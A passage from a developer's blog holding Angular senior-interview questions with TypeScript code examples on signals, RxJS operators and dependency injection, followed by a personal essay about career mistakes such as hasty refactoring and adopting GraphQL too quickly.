That's a pretty standard response, and I usually follow it up with:

"Alright, so if a senior should know the framework really well, is it okay for me to ask hard questions and expect you will be able to provide answers for them?"

What I'm really trying to grasp is how the candidate sees themselves, whether they feel they've reached a senior level and whether they've dealt with complex, challenging problems. This way, we set some expectations for the interview process, not defined by me, but by the candidate themselves.

Personally, I have a slightly broader view of what makes someone a senior developer. Yes, you should understand the framework well, but I'd also expect you to:

Initiate and lead technical improvements, like addressing tech debt, and be able to pitch those ideas to higher ups.
Push back (respectfully) on product or feature decisions that don't make sense or may harm long-term goals of the product.
Know how to give and receive feedback during code reviews.
Recognize when to Google something, when to ask a peer, and when it's worth gathering a few people for a brainstorming session.
Care about the product and collaborate closely with product owners.

Do you prefer declarative or imperative programming?

You might say this is a theoretical question, and it is, but I like to ask it because it reveals how candidates think about code structure and maintainability. Most candidates respond with, “I don't know the difference”.

If you Google this question, you'll see something like: “Declarative programming focuses on what needs to be done, while imperative programming focuses on how to do it”.

In Angular terms, here's one way to think about it. Imperative programming involves mutating variables in multiple places, often with manual logic to track side effects. Declarative programming, by contrast, involves defining a value or behavior in one place, often through computed, signal, or RxJS streams. I highly recommend checking out Joshua Morony's video on this topic. Here is a coding example:

// Imperative Programming
@Component({ template: ` ... ` })
export class ChildComponent {
  private readonly wsService = inject(WsService);
  private readonly apiService = inject(ApiService);

  displayedData = signal<string[]>([]);

  constructor(){
    // load existing data
    this.apiService.existingData$.subscribe((data: string[]) => {
      this.displayedData.set(data);
    });

    // listen on WS new data push
    this.wsService.newData$.subscribe((data: string) => {
      this.displayedData.update((current) => [...current, data]);
    });
  }
}

// Declarative Programming
@Component({ template: ` ... ` })
export class ChildComponent {
  private readonly wsService = inject(WsService);
  private readonly apiService = inject(ApiService);

  displayedData = toSignal(
    merge(this.apiService.existingData$, this.wsService.newData$).pipe(
      scan((acc: string[], curr: string) => [...acc, curr], [] as string[])
    ),
    { initialValue: [] });
}

The imperative version manually subscribes to two streams (existingData$ and newData$) and mutates the displayedData signal in separate steps. Each data source is handled independently, which can lead to duplicated logic and harder maintenance as complexity grows.

In contrast, the declarative version merges both streams and uses scan to build up the displayedData in a single, unified expression. It avoids manual subscriptions and keeps logic in one place. This makes the code more predictable, easier to test, and less errors. Overall, the declarative approach describes what should happen, while the imperative one controls how it happens.

Would you use a state management library or a custom implementation?

The question is designed to brainstorm with the candidate. Some developers lean toward libraries like NgRx, Akita, or NGXS, while others prefer simpler, custom built state solutions using services, RxJS or signals. Both approaches are valid. What I'm really curious about is whether the candidate can justify their choice, present some trade-offs, and mention potential drawbacks of the alternative.

A senior developer should articulate decisions clearly, even when their opinion differs from their peers or contradicts the tech stack we are currently using. The provided answer will not change how I look at the candidate, I just want to see how can they argue toward one solution they see fit.

Angular Questions - General

How would you achieve a parent - child component communication ?

A simple question with a catch. Most candidates mention @Input()/@Output() bindings, or using a shared service with a Subject or a signal for communication.

// Input/Output example
@Component({ selector: 'app-child', template: ` ... ` })
export class ChildComponent<T> {
  cSelected = output<T>();
  cData = input<T[]>();
}

@Component({
  imports: [ChildComponent],
  template: `<app-child [cData]="pData()" (cSelected)="pSelected.set($event)" />`
})
export class ParentComponent {
  pData = signal<string[]>(['a', 'b', 'c']);
  pSelected = signal<string>('');
}

// Shared Service example
@Injectable({ providedIn: 'root' })
export class SharedService<T> {
  store = signal<T | undefined>(undefined);
}

@Component({ selector: 'app-child', template: ` ... ` })
export class ChildComponent {
  service = inject(SharedService<string[]>);

  onPushData(){
    this.service.store.set(['a', 'b', 'c']);
  }
}

@Component({ imports: [ChildComponent], template: `<app-child />` })
export class ParentComponent {
  storedData = inject(SharedService<string[]>).store
}

These are valid answers, but not enough for a senior level developer. I expect to also hear about:

Custom two-way binding
Model inputs
Control Value Accessor

Custom two-way binding is achieved when the child component has an input and an output with the same property name, but the output uses the Change suffix. This syntax enables the “banana-in-a-box” [(data)] binding in the template. When the child emits a value via cDataChange.emit('something'), it directly updates the parent's pData signal or property.

@Component({ selector: 'app-child', template: ` ... ` })
export class ChildComponent {
  cData = input<string>('');
  cDataChange = output<string>();

  onDataChange(){
    this.cDataChange.emit('something');
  }
}

@Component({ 
    imports: [ChildComponent], 
    template: `<app-child [(cData)]="pData" />`
})
export class ParentComponent {
  pData = signal('Hello World');
}

Model inputs offer syntactic sugar over manual two-way binding. Instead of defining two separate properties (@Input and @Output) and emitting values manually, you can use model() to bind once and let Angular handle the rest. The model() binding works both with signals and non signal properties passed from the parent.

A common use case is within custom form controls. This is not yet a signal form example, but so far the closest we can get. Inside a child component, we display an input (custom input, maybe with some specific functionality), and whenever the user types something, the ngModel emits the data into cData , and since it's a model(), it will once again emit the data to the parent pData.

@Component({
  selector: 'app-child',
  imports: [FormsModule],
  template: `<input [(ngModel)]="cData" />  `
})
export class ChildComponent {
  cData = model<string>('');
}

@Component({
  imports: [ChildComponent],
  template: `<app-child [(cData)]="pData" />`,
})
export class ParentComponent {
  pData = signal('Hello World');
}

Control Value Accessor (CVA) is ideal when the child component acts as a custom form control. Implementing ControlValueAccessor allows the component to integrate with Angular's forms APIs, either reactive or template-driven.

I mostly use control value accessor when creating reusable component in a UI library or when the child is something like a custom search-select component. Imagine searching for goods in an amazon like webapp, that when you type a good's prefix, it makes an API call, and then you have a dropdown of possible options.

@Component({
  selector: 'app-custom-input',
  imports: [FormsModule],
  template: `<input [ngModel]="value" (ngModelChange)="onInput($event)"/>`,
  providers: [{
    provide: NG_VALUE_ACCESSOR,
    useExisting: forwardRef(() => CustomInputComponent),
    multi: true
  }]
})
export class CustomInputComponent implements ControlValueAccessor {
  value = '';

  // callbacks for the ControlValueAccessor
  private onChange = (value: string) => {};
  private onTouched = () => {};

  // called when input changes
  onInput(value: string): void {
    this.value = value;
    this.onChange(this.value);   // propagate change
    this.onTouched();            // mark as touched
  }

  // required from ControlValueAccessor 
  writeValue(value: string): void {
    this.value = value;
  }

  // required from ControlValueAccessor 
  registerOnChange(fn: (value: string) => void): void {
    this.onChange = fn;
  }

  // required from ControlValueAccessor 
  registerOnTouched(fn: () => void): void {
    this.onTouched = fn;
  }
}

@Component({
  selector: 'app-parent',
  imports: [ReactiveFormsModule, CustomInputComponent],
  template: `
    <app-custom-input [formControl]="pDataControl" />
    <p>Parent value: {{ pDataControl.value }}</p>
  `
})
export class ParentComponent {
  pDataControl = new FormControl('Hello World');
}

Control Value Accessor looks more complicated and takes time to implement, especially when creating a complex custom part of the form, since it allows integrations with reactive or template driven forms.

Worth mentioning, that some candidates also bring up using viewChild() to reference the child component from parent, or using local storage or cookies to pass data, which are valid answers, but I would avoid these solutions in production.

What is the role of `NgZone` in Angular, and when would you opt out of Angular's change detection?

The answer on this question can really demonstrate the candidate skills and the level of projects he has work on. You rarely run code outside of Angular's change detection, you consider it when you run into performance issues.

NgZone is a wrapper around JavaScript's event loop that allows Angular to know when to trigger change detection. Angular patches async operations like setTimeout, Promise, XHR, etc. using zone.js, so when those operations complete, Angular automatically runs change detection to update the view. This occasionally leads into performance issues if you're running lots of non UI related or high frequency code (scroll, setInterval). In those cases, you can opt out of Angular's change detection using NgZone.runOutsideAngular(), and manually re-enter with NgZone.run() only if needed.

For a practical example, I include my blogpost - Simple User Event Tracker In Angular, where I setup some global listeners on button clicks, input or select changes. They do not impact UI bindings, and the code runs in the background, therefore we can run it outside Angular's change detection system. Other options where to reach it for this options include integrating with analytics, tracking, or 3rd-party scripts that are passive.

@Injectable({ providedIn: 'root' })
export class ListenerService {
  private trackerService = inject(TrackerService);
  private document = inject(DOCUMENT);
  private ngZone = inject(NgZone);

  constructor() {
    this.ngZone.runOutsideAngular(() => {
        this.document.addEventListener('change', (event) => {
            const target = event.target as HTMLElement;

            if (target.tagName === 'INPUT') {
                this.trackerService.createLog({
                    type: 'INPUT',
                    value: (target as HTMLInputElement).value,
                });
            }

            // others ....
        }, true);
    });
  }
}

What is and when to use an Injection Token ?

An InjectionToken is like a unique identifier or a name tag that Angular uses to locate and provide a specific value or service during dependency injection. You typically use new InjectionToken() when you want to provide a value that isn't a class such as a configuration object, primitive value, or interface-based dependency.

One common use case is running initialization logic at the app startup using the APP_INITIALIZER injection token token. While APP_INITIALIZER is now deprecated, the recommended replacement is the provideAppInitializer function.

bootstrapApplication(App, {
  providers: [
    provideAppInitializer(() => {
      // init languages
      // get data from cookies
      // setup sentry
      // etc ...
    }),
  ],
});

You can also define custom injection tokens, commonly used when developing Angular libraries that require configuration from the consuming app. For instance, if your library makes API call and needs to know whether it should call a production or development API, the consumer can provide this value through a token.

// code in the library 
export const API_ENDPOINT = new InjectionToken<string>('API_ENDPOINT');

// --------------

// in a different application/library
bootstrapApplication(AppComponent, {
  providers: [
    {
      provide: API_ENDPOINT ,
      useValue: '/prod/api'
    },
  ]
}

What are resolution modifiers and how to use them ?

A great explanation on this topic can be found in Decoded Frontend - Resolution Modifiers (2021). While the video is slightly dated, but the concepts remain the same. When injecting a service, Angular allows you to configure up to four resolution modifiers via the second argument to the inject() function. Below is a brief overview of each, focusing on what I typically expect from a senior candidate.

private service = inject(SomeService, {
    host: true,
    optional: true,
    self: true,
    skipSelf: true
});

Optional() is used when the provided service / injection token may or may not be provided by the developer. Example is the APP_INITIALIZER Injection token. When Angular injects this token, it uses inject(APP_INITIALIZER, {optional: true}) , since you, as a developer can, but don't have to provide some executable code when angular initiates.

Self() forces Angular to resolve the dependency only from the current injector. It won't check parent injectors. This is especially useful in directives that should only operate on the element they're attached to. An example is adding an asterisk to required input fields. You use self when injecting NgControl, so it only pulls from the target element:

@Directive({
  selector: 'input[formControlName], input[formControl]'
})
export class RequiredMarkerDirective {
    private ngControl = inject(NgControl, {
        optional: true,
        self: true
    })

    constructor() {
        if (this.ngControl?.control?.hasValidator(Validators.required)) {
        // Add red asterisk
        }
    }
}

Angular itself uses self() internally, for example in ReactiveFormsModule or FormsModule to resolve sync and async validators used on the form.

SkipSelf() is the opposite of self. It tells Angular to skip the current injector and look in the parent. This is useful when a directive or component needs to interact with a container element, like a parent form. In the example below, when using the FormControlName directive on reactive forms, it tries to resolve the parent form name for the control.

@Directive({
  selector: '[formControlName]',
  providers: [controlNameBinding],
  standalone: false,
})
export class FormControlName extends NgControl implements OnChanges, OnDestroy {
constructor(
    @Optional() @Host() @SkipSelf() parent: ControlContainer,
    // ... other injectors
 )
}

Host() modifier limits resolution to the host component or directive. It prevents Angular from searching up the hierarchy. For instance, if a directive inside FinalComponent tries to inject FormGroupDirective using @Host(), Angular will only look inside FinalComponent, not any parent components that may contain the actual form.

@Directive({
  selector: '[appHostFormDirective]',
})
export class HostFormDirective {
    private formGroup = inject(FormGroupDirective, { host: true })

    constructor() {
        console.log('FormGroupDirective found:', formGroup);
    }
}

@Component({
  selector: 'app-final',
  template: `
    <form [formGroup]="form">
       <input [formControlName]="'name'" appHostFormDirective />
    </form>
  `,
  imports: [ReactiveFormsModule, HostFormDirective],
})
export class FinalComponent {
  form = new FormGroup({
    name: new FormControl<string | null>(null),
  });
}

I rarely use these modifiers in day-to-day application development. They tend to become more relevant when building libraries or advanced directives. However, Angular itself uses them extensively, and reviewing its source code is a great way to see them applied effectively.

Why would you use a `track` function in a for-loop and how it works ?

@Component({
  selector: 'app-child',
  imports: [NgForOf],
  template: ` 
    <button (click)="onRerun()">re run</button>

    <div *ngFor="let item of items()">
        {{item.name}}
    </div>
`
})
export class ChildComponent {
  items = signal<{ id: string; name: string }[]>([]);

  onRerun() {
    // "fake api call" to reload data
    this.items.set([{id: '100', name: 'Item 1'}, /* ... */ ]);
  }
}

@Component({
  selector: 'app-child',
  imports: [CommonModule],
  template: ` 
    <ng-container *ngFor="let item of items(); trackBy: identify">
        <!-- previous code -->
    </ng-container>
`
})
export class ChildComponent {
  // ... previous code

  identify(index: number, item: { id: string }): string | number {
    return item.id;
  }
}

With the new @for() syntax, Angular enforces the use of a track key for the same purpose. However, two common mistakes still happen:

Using the object itself as the key - example: @for (item of items(); track item). This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the track function.
Using $index as the key - example: @for (item of items(); track $index). This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the $index is okay for static lists.

Here's a comparison: the top row uses track item.id, and the second uses track $index. Watch how the first preserves DOM elements during removal. Here is a stackblitz example to play with.

What is the the difference between `providers` and `viewProviders` ? Can you provide an example when to use either of them ?

A great write-up on this topic is by Paweł Kubiak in his article Hidden Parts of Angular: View Providers. Below is a summary of his explanation, followed by a practical example.

“When you use providers, the service is available to the component itself, its template, any child components, and even to content projected into it using <ng-content>.

On the other hand, viewProviders limit the service's visibility strictly to the component's view. That means it's accessible only to the component and the elements declared directly in its template—but not to projected content or external child components.”

In most applications I've worked on, using providers or viewProviders were rare use-cases. Where I've seen this being showcased the most are examples with NGRX and generating dynamic components with configurable dependencies.

Let's take an example from a flight booking portal. On the final payment step you present two payment options - Stripe (default) and PayPal payments, allowing users to choose. Each option has a different implementation, but both rely on a common PaymentService abstraction:

export abstract class PaymentService {
  abstract pay(): void;
}

@Injectable()
export class StripeService implements PaymentService {
  pay() { console.log('Paid with Stripe!'); }
}

@Injectable()
export class PaypalService implements PaymentService {
  pay() { console.log('Paid with PayPal!'); }
}

@Component({
  selector: 'app-payment-button',
  template: `<button (click)="handlePayment()">Pay</button>`,
})
export class PaymentButtonComponent {
  private paymentService = inject(PaymentService);

  handlePayment() {
    this.paymentService.pay();
  }
}

Of course in real life you would need to establish a connection with the payment provider, handle errors, etc. The PaymentButtonComponent button is using the abstract PaymentService, which means, we need to provide an instance of either the Paypal or Stripe service. To dynamically decide which implementation to use based on user selection, you can manually create and inject the appropriate provider. This example demonstrates destroying and re-instantiating the component with a different PaymentService provider each time:

@Component({
  imports: [FormsModule],
  template: ` 
    <label>
      <input type="checkbox" [(ngModel)]="usePaypal" /> Use PayPal
    </label>

    <ng-template #container />
  `
})
export class TestComponent {
  readonly usePaypal = signal(false);

  readonly container = viewChild('container', {
    read: ViewContainerRef
  });

  constructor() {
    // init payment button
    effect(() => {
      const container = this.container();
      const usePaypal = this.usePaypal();

      untracked(() => {
        if (container) {
          this.loadComponent(container, usePaypal);
        }
      });
    });
  }

  loadComponent(vcr: ViewContainerRef, usePaypal: boolean) {
    // remove previous
    vcr.clear();

    const injector = Injector.create({
      providers: [
        {
          provide: PaymentService,
          useClass: usePaypal ? PaypalService : StripeService
        }
      ]
    });

    // attach component to DOM
    vcr.createComponent(PaymentButtonComponent, { injector });
  }
}

This example shows how providers can be dynamically configured depending on runtime logic. We don't use providedIn: 'root' here, even if our services were globally provided, because using Injector.create() always results in new instances, overriding any singleton behavior.

Even if the candidate doesn't know the exact difference, that's still okay, but I would expect at least one example where they encountered a situation that a global service wasn't enough, they needed to use a provider to create multiple instances for whatever reason.

Why `pipes` are considered safe in a template, but regular function calls (not signals) are not ?

Pure pipes are only reevaluated when their input values change, which makes them efficient and safe to use in templates. On the other hand, function calls in templates are executed on every change detection cycle.

So while {{ name | uppercase }} in the template is safe, {{ someHeavyFunction() }} will be called many times per second, which is rarely what you want. As Angular docs say: “by default all pipes are considered pure, which means that it only executes when a primitive input value is changed.”

Here I do a shameless plug including my article where I dove deeper into how the Implementation of Angular Pipes works. Under the hood, pipes create a caching object, and for a specific input, they perform the pipe's logic and store the result in the cache. Then, when change detection runs again with the same input, the pipe first checks the cache. If the output was already computed, it simply returns the cached value, making it an O(1) operation.

Angular Questions - Signals

Signals in Angular were first introduced in May 2023 with version 16, and there was quite a bit of buzz even before their official release. What fascinates me is when a candidate says, “Yeah, signals are here, but we worked on an older project and never migrated, so I never had a chance to try them out.” That's a red flag… what else can I say? As a senior developer, you're expected to have an understanding of newer features and how they work, even if you haven't used them in production yet.

How would you convince your team to migrate a project from Observables to signals ?

This question tells me two things. First, whether the person has a solid understanding of signals, and second, whether they've ever initiated a larger tech debt refactor on a project. I believe a senior developer should actively drive technical improvements and come forward with such initiatives. One solid answer might be something like:

“Angular, and overall the whole frontend ecosystem, is clearly moving toward signals. There's even a TC39 proposal to support signals natively in JavaScript. Most of the new Angular APIs, like the Resource API, are designed to work with signals. Signals also simplify state management, since you can both listen to changes and synchronously read their current value.”

Can you explain the diamond problem in Observables and why it doesn't occur with signals?

So far, this question has had a very high failure rate, but I like to see how candidates react to a topic they've likely never encountered in an Angular interview.

I first came across the diamond problem in the article from Mike Pearson - I changed my mind. Angular needs a reactive primitive. He argues why RxJS, even if loved, may not be the safest choice for Angular's long term and why SolidJS chose signals.

Mike talks about the diamond problem and the following example is heavily inspired from his blogpost. We are specifically curious about the behavior of the combineLatest operator.

Let's say we have an effect that listens to two signals. Signals are synchronous and batched, meaning that if both signals are updated one after another, the effect will still run only once. However, if we use combineLatest, it emits every time a dependency changes, resulting in multiple emissions even for the same update cycle.

export class TestComponent {
  prop1 = signal('a');
  prop2 = signal('b');

  constructor() {
    effect(() => {
      const prop1 = this.prop1();
      const prop2 = this.prop2();

      console.log(`Signal: ${prop1} - ${prop2}`);
    });

    combineLatest([
        toObservable(this.prop1), 
        toObservable(this.prop2)]
      ).subscribe(([p1, p2]) => console.log(`Observable: ${[p1} - ${p2}`));

    setTimeout(() => {
      this.prop1.set('one');
      this.prop2.set('two');
    }, 1000);
  }

In the console output, you'll see:

The effect logs only once, after both values are updated.
The combineLatest logs twice, once for each individual update.

This is a concrete example of the diamond problem - duplicated or excessive emissions due to shared dependencies in a reactive graph. Signals avoid this problem thanks to their synchronous and batched behavior.

I know this may be more of a “gotcha” question, so you could rephrase the question into: “Why can Observables like combineLatest lead to unnecessary emissions, and how do signals prevent that?”

When to use `effect` and `untracked` in a signal based application ?

Angular docs has a section use cases for effects, that talks about when effects should be used. Based on that I expect a response from the candidate something like:

"Use effect when you have no other alternative. For example when you need to rely on a reactive value and the other end isn't reactive. Use cases may include DOM API synchronizations, sending data into analytics, communication with a non-reactive library"

It's also important that the candidate has an understanding why the untracked function is needed when we want to remove dependency tracking in an effect. Problems I personally encountered many times were that an effect was reading multiple signals, but also modifying some, therefore it created an infinite cycle and was running all the time. Personally, I use untracked most of the time, leaving only the dependency signals outside of it. In the following example I want to focus on the input element when the button is clicked. I use afterRenderEffect which works similarly as effect, with the key difference being that it runs after the application has completed rendering.

@Component({
  selector: 'app-focus-example',
  imports: [FormsModule],
  changeDetection: ChangeDetectionStrategy.OnPush,
  template: `
    <button (click)="editMode.set(!editMode())">
      {{ editMode() ? 'Exit' : 'Enter' }} Edit Mode
    </button>

   <input #editInput [(ngModel)]="value" [disabled]="!editMode()" />
  `
})
export class FocusExampleComponent {
  editMode = signal(false);
  value = signal('Initial value');
  editInput = viewChild('editInput', { read: ElementRef });

  constructor() {
    afterRenderEffect(() => {
        const editMode = this.editMode();

        untracked(() => {
          if (editMode ) {
            // read the element reference once, without tracking it
            const inputRef = this.editInput();
            // defer the focus() until after the DOM is updated
            setTimeout(() => {
                inputRef?.nativeElement?.focus();
            })
          }
        })
    });
  }
}

Are life-cycle hooks still needed in a fully signal based application ?

This question is great for brainstorming with a candidate, whether he understands these hooks and also how signals work. Based on my experience, many life-cycle hooks can be replaced by signals and reactive primitives:

NgOnInit (NO) - Mostly replaceable with constructor or effect(). This hook is traditionally used for initialization logic that depends on resolved inputs, data fetching, or setting up observers. For simpler logic, constructor() suffices, while more complex reactive scenarios are better handled with effect().
NgOnChange (NO) - Can be replaced with computed() or effect(), as these can react to changes in input() signal dependencies.
NgAfterViewInit (NO) - Replaceable with effect() to perform updates on DOM elements, using viewChild() signal references as dependencies.
NgAfterContentInit (NO) - Similar to NgAfterViewInit, effect() can handle initialization logic based on contentChild() signal references or you can use the afterNextRender callback.
NgAfterContentChecked / NgAfterViewchecked (NO) - are called after every change detection cycle, which makes them performance sensitive. You can replace them with afterRenderEffect which runs after the view has been rendered and a signal dependency changed.
NgOnDestroy (NO) - For cleanup tasks such as unsubscribing from third-party libraries, clearing intervals, or other manual teardown logic that signals don't automatically handle you can inject DestroyRef and listen on onDestroy for this purpose.

Angular Questions - RxJS

Even in a fully signal based application, there are still use cases where RxJS is a better alternative. From my experience, nearly everything can be implemented by signals, but RxJS sometimes offers a more declarative or composable approach, especially when dealing with complex async workflows therefore I open a debate about some RxJS topics.

What is a higher-order observable and how they differ ?

For an indepth reading about this topic I include a blogpost that I've made in the past Angular Interview: What is a Higher-Order Observable?. A good example is the classic search box use case, where on each keystroke, an API request is made. The candidate should be able to explain how the behavior changes depending on which higher-order observable operator is used.

export class TestComponent {
  private readonly http = inject(HttpClient);
  readonly control = new FormControl<string>('');

  search$ = this.control.valueChanges.pipe(
    // switchMap, concatMap, mergeMap, exhaustMap
    switchMap((val) => this.http.get('...', {
      val: val
    }))
   )
 }

switchMap - cancels any ongoing request when a new value is typed. Ideal for search boxes, only the latest input matters.
mergeMap - triggers all requests in parallel. Every keystroke results in a request, regardless of timing. Good for logging, but not ideal for searches.
concatMap - queues each request and processes them sequentially, preserving order. Better for form submission flows, not live search.
exhaustMap - ignores new values while a request is in progress. Useful to prevent duplicate requests (e.g., during button mashing), but bad for fast-typing search boxes. If you don't use the abortSignal for the resource API, it works as exhaustMap.

What is the difference between `share()` and `shareReplay()` ?

Too much of a theoretical question? Not at all. In a legacy project, which still mainly relies on Observables, you may have situations where you use one of them to multicast values to subscribers. There are, however, occasional bugs, for example, when you navigate back and forth between pages. The next time you come back, you no longer have the current value, or you just retriggered logic that should have been cached by the shareReplay() operator. Or, you just ignore both and use BehaviorSubject.

Both share() and shareReplay() are RxJS multicasting operators. They allow multiple subscribers to share the same source observable, preventing duplicated side effects (like HTTP requests).

Use share() when you only want future subscribers to receive emissions. It doesn't retain or replay past values. Essentially, it converts a cold observable into a hot one.
Use shareReplay() when you want new subscribers to immediately receive the latest emitted value(s). It's useful for caching scenarios where re-executing the source (e.g., an HTTP request) is costly or undesirable.

You can configure shareReplay() using options like:

bufferSize – The number of previous values to remember and replay to new subscribers. Typically set to 1 for simple caching.
refCount – When true, the observable automatically unsubscribes from the source when there are no subscribers. When false, it stays connected indefinitely (useful for app-wide shared streams).

What does this code do ? - `scan()` + `expand()`

Both scan() and expand() are rarely used in everyday Angular development. However, their presence can indicate that a candidate has encountered more complex problems, problems that go beyond the usual use of map, filter, or take operators. I like to show a practical example like this:

  private paginationOffset$ = new Subject<number>();

  loadedMessages = toSignal(this.paginationOffset$.pipe(
    startWith(0),
    exhaustMap((offset) =>
      this.api.getMessages(offset).pipe(
        expand((_, i) => 
            (i < 2 ? this.api.getMessages(offset + 20) : EMPTY)
        ),
        map((data) => ({ data })),
        catchError((err) => of({ data: [] })),
        startWith({ data: [] }),
      ),
    ),
    scan(
      (acc, curr) => ({ data: [...acc.data, ...curr.data] }),
      { data: [] as MessageChat[] },
    ),
  ), {initialValue: [] });

  nextScroll() {
    this.paginationOffset$.next(this.loadedMessages().data.length);
  }

The code above represents a recursive API-based pagination pattern. Every time the user triggers nextScroll() (for example, by clicking a "Load More" button), the number of already-loaded messages is emitted into the paginationOffset$ subject. Inside the loadedMessages signal:

exhaustMap ignores new emissions until the current inner observable completes. The user is unable to load more data until the first batch completes.
expand is used to recursively call the API multiple times. We assume each call returns 20 messages. Using expand, we can simulate loading three pages in one shot (initial call + two recursive calls).
scan accumulates all the loaded messages into one stream without losing previously fetched ones.
catchError ensures that any failed API call doesn't break the chain.
startWith ensures the stream emits an initial empty state, avoiding undefined references.

Summary

The Need Of Failing Before Succeeding

Eduard Krivanek — Wed, 11 Jun 2025 10:31:54 +0000

I used to think the whole try-and-fail wording was just a catchy phrase people threw around to sound deep. Turns out it has some truth to it and the fail part is very real. Failing sucks, and many times, It's not just some feel good “learning opportunity”. It usually comes with blame, criticism, and mainly taking responsibility for your actions.

I feel like in tech we don't share our experiences so often, even if some may come with valuable lessons, therefore I wanted to write a smaller article where I'll share some of my own screw-up decisions I was sure were right (they weren't), the lessons they taught me, and how I became a senior developer by age 27. I want to underline that these are my personal experiences, not universal rules. Every project has its own variables, such as people, tech stack, timeline, and budget. What failed for me might work perfectly for someone else under different circumstances. Hope these short stories will show you that we all suck, and being a senior dev just means you've made enough bad calls to know which ones to avoid next time. The article was initially published on Angular Spaces.

Quick Refactoring

“hmm, look at that, old code - I should refactor this, doesn't look that complicated”.

Classic mistake only juniors make, right? Well, I've made this mistake at least once a year for the past seven years. Every. Single. Time. And somehow, it was always more complicated than I initially thought.

First, you have to convince your manager to allocate time. Believe me, he wants nothing else to hear just why exactly we need to change an already existing production code, used by thousands of paying customers, just because you don't like the syntax. Good luck selling that.

Even if you manage to sell the idea, then what? You've got a deadline. Are you 100% sure you understand every edge case in that old legacy code? No? Are there tests? Probably not. So now you're hoping, that your shiny new version doesn't explode. And when it does, you just became the responsible person for it.

Worst case scenario? You're deep in your “harmless little refactor,” missing your deadlines, stress levels through the roof, burning unpaid overtime to fix a mess you created entirely voluntarily.

Refactoring isn't bad. In fact, it's often necessary for long-term maintainability. Simple refactoring might include upgrading dependencies, where newer library versions can fix some security issues or reduce the overall bundle size through optimizations like tree-shaking. Other small refactors with high impact can include reducing repeated DOM access inside loops, extracting duplicated logic into reusable functions, or replacing nested callbacks with async/await for readability.

However, be aware of the risks you're walking into. If you don't fully understand the purpose and scope of the code, don't refactor it blindly. Always have a clear reason for the change, ideally with your manager's blessing. It's critical to understand why the code exists in its current form and what edge cases it handles.

Pushing Side Projects

Everyone tells you side projects are essential. They help you learn new tech, experiment freely, and build confidence without the pressure of deadlines. The problem starts when you delude yourself into thinking your side project is definitely the next unicorn SaaS startup.

My most “educational failure” was an app called GGFinance. It started as my Master's thesis and later turned into a long nights work. The concept was decent - a stock portfolio simulator aimed at schools. Students were creating a fake portfolio by trading stocks and the app was calculating many financial metrics, displayed in charts (people like charts), and students competed with each other. I even made a YouTube video about it. The app is long gone, of course.

I had examples, eToro, XTB, various data-vizualizations apps, so clearly, my idea had needed to work. Or so I thought.

I learned that having users does not automatically mean you'll make money. Turns out, building a profitable product requires an actual business plan. Who would have thought.

I thought if I built it, customers would come, and pay. No. You need marketing, user research, pricing strategies, customer support... basically everything besides development. I invested 1,500+ hours in that app. Worth it? For the tech lessons, yes. I was optimizing the app, solving many edge-cases, and from the tech side, it was the most complex and best learning experience. For the revenue? I only saw red numbers. Most projects fail, and it still surprises us, that our idea does too. And just because you put more work into something it still does not mean it will succeed. Sometimes we have to admit our loss and move on.

Still, I'll always advocate for side projects. Not because they'll make you rich, but because they'll make you better. Company projects tend to revolve around the same stack, the same patterns, and often avoid "risky" experiments, for a good reason. It's easy to stagnate. Side projects give you space to try a new framework, build something from scratch, and break stuff without consequences. You'll learn faster because you're the one making the decisions. And sure, it might be exhausting after a long workday, but even dedicating a couple of hours a week keeps you sharp.

Over-Evaluating Your Skills

I started my career as an IT helpdesk guy just before my twenties. It was a small company, around 100 people, only 2 of us on the helpdesk. We were receiving every user request thought an email. It was hard to track time, status and who was working on what. And some email occasionally even got “lost” if the request was too hard on us.

I was already learning some PHP, Jquery and MySQL, and then I came up with a brilliant idea to create an internal ticketing tool, a small Jira.

Enter the Dunning-Kruger effect. I massively overestimated my abilities. I thought, how hard could it be? A few forms, some login logic, slap on a bit of CSS, done. Instead, I ended up learning how little I actually knew, especially about things like async flows, multi-role authentication, and database design. For my first attempt I designed the database with 5 tables, shipped the product after some uncomfortable long time, and felt like a genius.

The app was ~working. I felt excited as the application was growing and slowly the whole company started to use it; however, new and new feature requests were coming in, and as the only coding guy, I had to solve them all. Over the next two years, the project went through multiple iterations, and I even wrote a custom script to migrate my 5-table database structure into a new 25-table one. Thankfully, at the time we only had 400 tickets, but man, database migrations are the worst.

This project had its ups and downs. The fascinating part is that even five years after my last commit, it is still in use, making it my most successful solo project. But it had its cost with plenty of frustrations, lots of learning, and many weekends spent coding while studying at University.

I learnt that before promising the stars, make sure you understand the destination, and at least have a rough idea of how to get there.

Using The New Shiny Tech

Once, I was assigned as the frontend dev on a greenfield project. We got to pick the stack. I had been playing with GraphQL during weekends and loved how flexible it was. You shape your own queries, it generates TypeScript types. What's not to like?

So, I thought: “If it works in my toy projects, it'll be perfect for this big production app too”. Backend team was on board. Management was convinced. We were ready to change the world.

Fast-forward 4–5 months. Everything works fine... on localhost. Then we move to real servers and suddenly, queries are slower than a government website. Now what? Turns out GraphQL's has its infamous N+1 problem, where it hammers the database with calls for every nested entity. We spent another 3-4 months optimizing queries and rethinking everything.

Now, similarly as in the Over-Evaluating Your Skills section, what did I do wrong here? For starters, I was learning GraphQL for 3-4 weeks. I quickly scanned the documentation (who needs docs, am I wrong?) and I used this tech on a small project on localhost. We sold GraphQL to the company based on our excitement, not a deep understanding of how it worked, and we ignored some cautious voices from teammates. Keep in mind that once you push a new tech in a project, you may became the responsible person for it. Being the go-to guy is not bad, if you know what you do. The problem becomes when you spend 2 hours learning a new library and thinking you mastered it.

I would like to emphasise that I don't think GraphQL is a bad technology. The company I work for now uses GraphQL in one project, and all I hear is positive feedback. It's a bit like using Angular without OnPush and then blaming Angular for being slow — the tool isn't the problem, the implementation is.

This is more of a story of me, a young, naive developer seeing a new tech through rose-colored glasses, only reading the praise, not understanding the full picture, and convincing others to take it to production.

Not Asking For Help

Back in my early days, I wanted to be a Java developer because, well, that's what they taught at University. Then one day at work, I was given a tiny frontend task. Create a dashboard with two pages. One to display external links as buttons and one to display admin logs in a table.

For an experienced person this would be 1-2 days of work. I was working on it for 4 weeks. The reason? Since I was new in web, I had no idea what CORS, Proxy, JWT token, Cookies, Sessions, Application State event meant… and it was a first time I heard that javascript have libraries - Angular/React?

Instead of asking for a help of my colleagues, I started googling and went down to a rabbit hole of information. There is a fine line between “I don't want to look stupid so I will google it” and “I have no idea what I am doing”.

